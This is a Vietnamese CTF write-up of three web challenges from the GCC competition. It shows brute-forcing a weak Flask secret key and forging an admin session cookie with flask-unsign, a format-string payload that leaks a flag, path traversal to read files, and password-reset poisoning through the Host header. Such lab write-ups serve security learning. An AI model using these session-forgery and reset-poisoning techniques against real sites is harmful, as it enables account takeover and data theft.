Sau một khoảng thời gian không có thêm wu mới, từ tuần trước mình đã chăm wu lại các challenge hơn và tuần trước mình cũng có chơi giải GCC nhưng không giải được nhiều bài lắm, trong wu sẽ có cả những bài mình chưa hoàn thành lúc cuộc thi còn đang diễn ra, mình vẫn như thường lệ là vào đọc write up rồi tìm những thứ mình chưa biết trong quá trình làm rồi làm lại cho nhớ =)). Bắt đầu thui # 1. Find The Compass Đa số challenge web của giải này đều có source nên quá trình làm mình hầu như là ngồi đọc code mà không cần phải đi fuzz nhiều (đặc biệt không có nhiều XSS, 100 điểm) Mình dựng docker lên và nhận thấy ngay việc mình cần làm là bypass login. Thật sự là ở bước này mình rất chật vật vì không tìm ra được mật khẩu ## Phân tích Source Code Sau khi deploy local, ngay lập tức chức năng fill_database() được trigger nên mình xem nó đầu tiên, đồng thời để ý file database.py . Website sử dụng dbms là sqlite, và mỗi lần restart server sẽ xóa hết database và thêm một admin vào, báo ra log mật khẩu của admin: ```python! class User(db.Model): id = db.Column(db.Integer, primary_key=True, autoincrement=True) username = db.Column(db.String(), unique=True, nullable=False) mail = db.Column(db.String(), unique=True, nullable=False) password = db.Column(db.String(), nullable=False) status = db.Column(db.String(), nullable=False, default='guest') reminders = relationship("Reminder", back_populates="author") def __init__(self, username, mail, password, status): self.username = username self.mail = mail self.password = generate_password_hash(password) self.status = status def check_password(self, password): return check_password_hash(self.password, password) def set_password(self, password): self.password = generate_password_hash(password) class Reminder(db.Model): id = db.Column(db.Integer, primary_key=True, autoincrement=True) content = db.Column(db.String(), nullable=False) author_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False) author = relationship("User", back_populates="reminders") def __init__(self, content, author): self.content = content self.author = author def fill_database(): statement = text(f'DELETE FROM {User.__tablename__}') db.session.execute(statement) password = token_hex(64) print("[+] Admin password: ", password) db.session.add(User('admin', 'admin@compass.local', password, 'admin')) db.session.commit() ``` - Đồng thời mình cũng thấy sẽ có 2 bảng User và Reminder, trong bảng User dữ lưu mật khẩu bằng hàm `generate_password_hash` nên việc crack mk để login chắc hơi khó để xảy ra - Còn đâu mật khẩu gốc thì được tạo bằng `token_hex` cũng khó luôn =))). Mình từ bỏ ngay ý định bypass login bằng mật khẩu Ở đoạn này mình đã login bằng mật khẩu của admin được báo trong log do đang dựng local (lúc sau mình mới có cách để bypass) ![image](https://hackmd.io/_uploads/rk3_clXa6.png) Sau khi login thì mình thấy sẽ chỉ có 1 path là `/panel`, cho phép mình thêm một reminder, nên mình tiến vào routes.py đọc để xem các chức năng có trong path: ```python! @app.route('/panel', methods=['GET']) def panel(): if not authorized(): return redirect(url_for('index')) reminders = Reminder.query.all() reminders_list = [] # If a wise admin needs the coordinates of the compass, he can retrieve them. renderer = Renderer(COMPASS['COORDINATES']) for reminder in reminders: reminders_list.append([reminder.id, renderer.render(reminder.author.username , reminder.content)]) return render_template('panel.html', reminders=reminders_list) ``` - Chức năng panel sẽ đơn giản chỉ là load những reminder có trong bảng và hiện ra ngoài dựa theo class Renderer. Điều đặc biệt mình thấy là họ khởi tạo biến renderer bằng cách truyền vào thuộc tính `COMPASS['COORDINATES']`, trỏ đến thì mình thấy đây chính là chỗ chứa flag: ![image](https://hackmd.io/_uploads/By0digQa6.png) - Nên mình đoán bằng một cách nào đấy mình sẽ cần phải trigger thuộc tính này của class Renderer ra để reminder render ra flag Việc xóa các reminder và thêm một reminder được thực hiện và xử lý bởi path `/reminder` ```python! @app.route('/reminder', methods=['POST', 'GET']) def reminder(): if not authorized(): return redirect(url_for('index')) if request.method == 'POST': try: reminder_content = request.json.get('reminder_content') except: return {"message": "Invalid request."}, 400 if not authorized(): return {"message": "Unauthorized."}, 401 user = User.query.filter_by(username=session['username']).first() if user: try: reminder = Reminder(reminder_content, user) db.session.add(reminder) db.session.commit() return {"message": "Reminder added."}, 200 except Exception as e: print(e) return {"message": "Error adding reminder."}, 500 else: return {"message": "User not found."}, 404 elif request.method == 'GET': if not authorized(): return redirect(url_for('index')) if request.args.get('delete'): reminder_id = request.args.get('delete') reminder = Reminder.query.filter_by(id=reminder_id).first() if reminder: db.session.delete(reminder) db.session.commit() return redirect(url_for('panel')) else: return redirect(url_for('panel')) ``` - Oke chức năng GET sẽ dùng để xóa reminder bằng tham số delete, giá trị truyền vào là id của reminder đó trong table. - Còn khi POST họ sẽ check mình có phải một user chính gốc không bằng hàm `authorized()`. Nếu có sẽ tìm user dựa trên username tương ứng có trong session, thêm reminder vào table với user vừa lấy Sau khi đọc đến đây thì mình chuyển sang class Renderer, vì nó là nơi render ra nội dung mà mình muốn xem: ```python! class Renderer(object): """ Proof of Concept to one day get rid of Jinja2. Who needs Jinja2 ? """ def __init__(self, coordinates: str): # Only a wise administrator can retrieve the coordinates of the compass. self.coordinates = coordinates def render(self, author, content): author = escape(author) content = escape(content) htmlTemplate = f"<p><strong>{author}</strong>: {content}</p>" try: #Use escape for XSS protection return (htmlTemplate.format(self=self)) except Exception as e: print(e) return "An error occured while rendering the reminder." ``` - Class này không thèm dùng Jinja2 để render luôn =)), quá vip. Mình nhận thấy là khi khởi tạo class thì thuộc tính coordinates sẽ lấy giá trị coordinates truyền vào class -> chính là flag. Vậy là mình phải gọi đến thuộc tính coordinates của class Renderer và bắt nó render ra thì sẽ có flag - Chức năng render mình truyền vào 2 tham số là author và content, author sẽ là username được lấy bằng session còn content là nội dung mình nhập lên web. 2 biến này đều sử dụng hàm `escape` để escape nhưng ký tự html bằng cách sử dụng htmlentities -> no XSS. Sau đó thay nội dung vào htmlTemplate, và sử dụng format lần nữa với biến self được truyền vào (hmmmm tại sao lại format string 2 lần, lần thứ 2 với biến self) Trong quá trình login mình cũng sẽ thấy việc sử dụng hàm `generate_key` và `authorized`, nó xuất hiện ở trong utils.py: ```python! def generate_key() -> str: """Generate a random key for the Flask secret (I love Python!)""" return (''.join([str(x) for x in [(int(x) ^ (int(time()) % 2 ^ randint(0, 2))) for x in [int(char) for char in str(digits[randint(0, 9)]) * 4]]])).rjust(8, '0') def authorized() -> bool: """Check if the user is authorized""" return True if session.get('logged_in') == True and session.get('status') == 'admin' else False ``` - Với đoạn gen secret_key được gen bằng hàm trên, nên mình khó có thể sử dụng wordlist có sẵn để crack được secret_key. Nhưng không bypass login bằng mật khẩu thì chắc chắn sẽ bypass bằng session, mỗi tội hàm gen key kia hơi khủng bố =)). ![image](https://hackmd.io/_uploads/By54Ae766.png) ## Phương hướng giải quyết Đầu tiên mình thử up các kiểu reminder, mình cũng có thử SSTI nhưng nghĩ đến việc họ có dùng Jinja2 đâu mà cứ làm thế hoài =))). Không ổn, cái mình cần là trigger đến thuộc tính coordinates, mà ở đây họ lại format string tận 2 lần Sau đó bằng một cách thần kỳ nào đấy mình đã thử `{self.coordinate}` mà không đúng, nên mình thử chuyển qua lỗi khác. Một phần thấy tự nhiên họ set up rất nhiều header để chống XSS, mà bài này chẳng liên quan gì làm mình thấy khá khó hiểu Hạt bí quá nên mình có đi hỏi ông anh vjp pro của mình, thì anh ý chỉ ra là không cần mk admin. Hàm gen key tạo ra key khá yếu, lúc đầu mình bảo quái =)) cái hàm nhìn ác như zậy mà gen ra key yếu, ảo v - Và cái giá phải trả khi mà không đọc kĩ code, thực sự key chỉ nằm ở khoảng 8 chữ số và mình hoàn toàn có thể brute-force được ![image](https://hackmd.io/_uploads/rydJxb7aa.png) Một điều lỏ nữa là cách sử dụng self kia là đúng, nhưng mình thiếu chữ `s`, đúng ra phải là `{self.coordinates}`, rất cay nhé =)))). Việc gọi ra `{self.coordinates}` vào phần content, khi đến lần format thứ 2 với biến self=self thì self có cái gì sẽ bốc nguyên vào, ở đây mình có `{self.coordinates}` ở trong chuỗi nên nó sẽ thay thế đoạn đó bằng giá trị của thuộc tính có trong class thui Mọi thứ gần như đã xong rồi, giờ mình chỉ cần gen ra wordlist để bruteforce secret key thôi: Mình code như này mà nó lỗi luôn cái vscode, không hiểu kiểu gì=)) ```python! with open('num.txt', 'w') as file: for i in range (100000000): num_str = str(i).zfill(8) file.write(num_str + "\n") ``` ## Khai Thác Sau khi có một wordlist, mình unsign session để tìm secret-key: ```! ┌──(kali㉿kali)-[~/Desktop] └─$ flask-unsign -u -c '.eJwNzDEOhSAMANC7dHaoKYXqZQy0hZgYHMDJ_Lt_tze9F667Nbfj7LDXfA1foN9dHXaQqIQ5IGmsVmwLHKKxB0UsalwsYwqInwoJMadaJW7JKImirCssMGaez_iu9viY8PsDbvshNA.ZeWBcA.2BmJF9Y_vNbMYvCSrQESfA0I5GE' --wordlist /home/kali/Desktop/num.txt --no-literal-eval [*] Session decodes to: {'logged_in': False, 'nonce': '86c30a403c6fdbd94546d5e4c00bcd5bda07400d5bb383557ff8697d378c0811', 'status': 'guest'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 6528 attempts b'00006466' ``` Mình có secret_key là `00006466`, vậy thì giờ chỉ cần sign ra một cái session tên là admin thôi ```! ┌──(kali㉿kali)-[~/Desktop] └─$ flask-unsign -s -c "{'logged_in': True, 'nonce': '86c30a403c6fdbd94546d5e4c00bcd5bda07400d5bb383557ff8697d378c0811', 'status': 'admin', 'username':'admin'}" --secret '00006466' .eJw9jTkOxCAMAP_imsIRl5PPRGCbaKWESAGq1f49VNuNppj5wnkfh8r-qbD1Z6iBeldW2IACW0wOLYciWVbnXRCvjhEzi8-SMDrESdmS9T6WQmGNYiMx0rKAgdZTH222klxzYGA0fWq69K9-L_imJyE.ZeWCpg.wZ-NEqHFpuqu0ZXucXMpzo4sjJ0 ``` Sử dụng session này, mình được redirect sang /panel: ![image](https://hackmd.io/_uploads/ry2xXZQT6.png) Upload reminder content là payload `{self.coordinates}`, vào lại panel thì mình đã có flag: ![image](https://hackmd.io/_uploads/ryNLEZm6a.png) ![image](https://hackmd.io/_uploads/S1eOEWQ66.png) - Tiếc là channel deploy đã đóng nên mình sẽ khai thác local thui hichic # 2. frenzy flask Tiếp tục là một challenge whitebox, đập vào mặt mình khi truy cập đến website là lấy một session id ![image](https://hackmd.io/_uploads/HyXJPbQTT.png) Truy cập tiếp vào chức năng upload file, những file đã upload sẽ xuất hiện ở bên dưới: ![image](https://hackmd.io/_uploads/r16WvWma6.png) ## Phân Tích source code Đầu tiên mình đọc file api.py và thấy nó là nơi xử lý các chức năng chính có trong website: Path /session sẽ cấp cho mình một session mới, đồng thời tạo một thư mục mới với tên là session đó, mình đoán folder này sẽ chứa những file mà mình upload: ```python! @bp_api.route("/session") def new_session(): import uuid sessid = str(uuid.uuid4()) Path(NOTE_DIR, sessid).mkdir() return json.jsonify(sessid) ``` Path /notes/sessionid sẽ show ra những files mình có trong folder sessionid, trước hết nó sẽ lấy session và kiếm tra xem thư mục có hợp lệ không, nếu GET thì sẽ lấy tên các file có trong thư mục session_dir rồi trả về theo JSON ```python! @bp_api.route("/notes/<path:sessid>", methods=["GET", "POST"]) def list_notes(sessid): session_dir = abort_check_session(sessid) if request.method == "POST": for uploaded_file in request.files: abort_check_path(uploaded_file) upload_path = session_dir.joinpath(uploaded_file) try: request.files[uploaded_file].save(upload_path) except OSError: abort(500) files_list = [str(p.name) for p in session_dir.glob("*")] return json.jsonify(files_list) ``` - Nếu như là POST nghĩa là mình đang upload file lên, chall sẽ check file vừa upload bằng hàm abort_check_path xem có dấu `..` trong đó không, nếu không sẽ lưu file theo đường dẫn tương ứng Path /notes/sessionid/noteid cho phép xem cụ thể các file dựa vào noteid cũng chính là tên file ```python! @bp_api.route("/notes/<path:sessid>/<path:noteid>") def get_note(sessid, noteid): session_dir = abort_check_session(sessid) # print(noteid) response = Response() try: with open(session_dir.joinpath(noteid), "r") as f: content = f.read() response.headers["Content-Type"] = "text/plain" except UnicodeDecodeError: with open(session_dir.joinpath(noteid), "rb") as f: content = f.read() response.headers["Content-Type"] = "application/octet-stream" response.set_data(content) return response ``` Chỉ đơn giản là đọc file hoy, cũng không có gì đáng nói ## Phương hướng giải quyết Đầu tiên khi nói đến hàm joinpath mình đã nghĩ ngay đến vuln nếu join path với đường dẫn tuyệt đối, mình sẽ có thể thay đổi toàn bộ path, nhưng khi xem file có tên như vậy thì lại không giòn vì encode không được và đưa chay vào thì nó lại hiểu nhầm là path của web server Sau khi thử truyền vào thẳng path không được, mình chuyển sang sử dụng path traversal để đọc file thì ăn ngay =)), hehe: ![image](https://hackmd.io/_uploads/BJbx5W7Ta.png) Quan sát thấy Docker nói flag sẽ nằm ở /home/user/flag.txt, mình đọc file và có được flag: ![image](https://hackmd.io/_uploads/Byoz9ZmTT.png) ![image](https://hackmd.io/_uploads/Bknwqb7aT.png) ## 3. Free Cider Đây là một challenge black box nên mình lấy source ra deploy lại để làm, mình không đọc source đâu tin tưởng =)) Vừa vào thì mình thấy đập vào mặt là một trang login ![image](https://hackmd.io/_uploads/H1k7NGm6p.png) Mình - 1 thằng pentest black box ngu như bò thì black box + login = mật khẩu yếu =)). Mình thấy việc gửi username và password theo json nên nghĩ đến bypass login bằng kiểu `"password":{"password": 1}`, hoặc là NoSQL Injection nhưng không có kết quả gì. Đang rất bí ý tưởng thì anh mình lại 1 lần nữa anh mình lại xuất hiện và giải ngố cho mình. Quan sát kĩ thì trang web sử dụng swagger (được ghi trong phần chú thích) ![image](https://hackmd.io/_uploads/B1q0Lzm66.png) Thử vài cái swagger.html không được thì mình đi tìm wordlist để tìm path swagger đúng, mình sử dụng wordlist [này](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/swagger.txt): ![image](https://hackmd.io/_uploads/S1J_DGX66.png) Mình có path đúng là `/api/v1/swagger.json/`, truy cập đến mình có danh sách API của trang web: Tại đây thì mình thấy chức năng tìm kiếm user dựa trên user_id có thể dùng để liệt kê ra các user, mình thử tìm 1 user thì cho ra kết quả: ![image](https://hackmd.io/_uploads/BJryufmTp.png) Mình nhét ngay thằng này vào burp intruder để xem còn những user nào nữa. Sau khi đến user thứ 41 thì status code còn lại là 200, vậy là ta có 41 user, mình tìm xem có những user nào có thuộc tính `"admin": true` để tiến hành quên mật khẩu nhằm login: ![image](https://hackmd.io/_uploads/r1cO_fQp6.png) Mình có 3 user, sử dụng ngay user này, mình sẽ tiến hành quên mật khẩu với username `shelly_harris_md88` Nhưng mà quên mật khẩu không thì mình chắc chắn sẽ có token forget password, có một cách trong lab portswigger là thay địa chỉ host bằng một website request catcher mà mình control, mình intercept lại request cho vào giá trị burp collaborator vào trường Host rồi gửi đi nhằm lấy token: ![image](https://hackmd.io/_uploads/SJJ-Kf7ap.png) Mình có được token forgot password: ![image](https://hackmd.io/_uploads/rkKftz7Tp.png) Truy cập đến mình có ngay mật khẩu là: `$qls0CuJ8)m%uVjpFbNW4J1)m` ![image](https://hackmd.io/_uploads/BkRVYz76p.png) Login vào và trong này có luôn flag :))) ![image](https://hackmd.io/_uploads/SyBvKGXT6.png) Flag: **GCC{P@ssw0rd_RST_Poison1nG_R0ck$!}** Trong khi cuộc thi còn đang diễn ra thì mình chỉ làm được 3 chall đó thui, những chall còn lại mình không kịp giải ra :cry: